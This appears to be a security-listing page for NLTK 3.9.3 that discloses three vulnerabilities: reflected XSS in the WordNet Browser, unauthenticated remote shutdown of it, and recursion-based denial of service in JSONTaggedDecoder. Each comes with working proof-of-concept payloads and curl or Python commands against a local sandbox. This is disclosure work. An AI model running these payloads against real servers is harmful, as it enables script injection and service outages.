Python/nltk/3.9.3
Natural Language Toolkit
https://pypi.org/project/nltk
Apache-2.0
3 Security Vulnerabilities
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
page_from_href()callspage_from_reference(Reference.decode(href))
-
word = href.word
-
- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
Unauthenticated remote shutdown in nltk.app.wordnet_app
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
-
- The server listens on all interfaces:
server = HTTPServer(("", port), MyServerHandler)
-
- Incoming requests are checked for the exact path:
if unquote_plus(sp) == "SHUTDOWN THE SERVER":
-
- The shutdown protection only depends on
server_mode
- The shutdown protection only depends on
-
- In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
- In the default mode (
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
Summary
JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.
Affected code
File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)
Proof of Concept
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
Impact
Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).
Suggested Fix
Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
65 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 0.9.7 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.9.6 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.9.5 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.9.4 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.9.3 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.9 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 0.8 | GPL | 10 | 1970-01-01 - 00:00 | about 56 years |
| 3.5b1 | Apache-2.0 | 9 | 2020-03-08 - 00:48 | about 6 years |
| 2.0b4 | Apache-2.0 | 10 | 2009-07-15 - 09:32 | over 16 years |
| 2.0b7 | Apache-2.0 | 10 | 2009-11-09 - 14:20 | over 16 years |
| 2.0b6 | Apache-2.0 | 10 | 2009-09-25 - 10:31 | over 16 years |
| 2.0b5 | Apache-2.0 | 10 | 2009-07-19 - 10:20 | over 16 years |
| 2.0b8 | Apache-2.0 | 10 | 2010-03-10 - 20:30 | about 16 years |
| 2.0b9 | Apache-2.0 | 10 | 2010-08-23 - 07:46 | over 15 years |
| 3.9b1 | Apache-2.0 | 6 | 1970-01-01 - 00:00 | about 56 years |
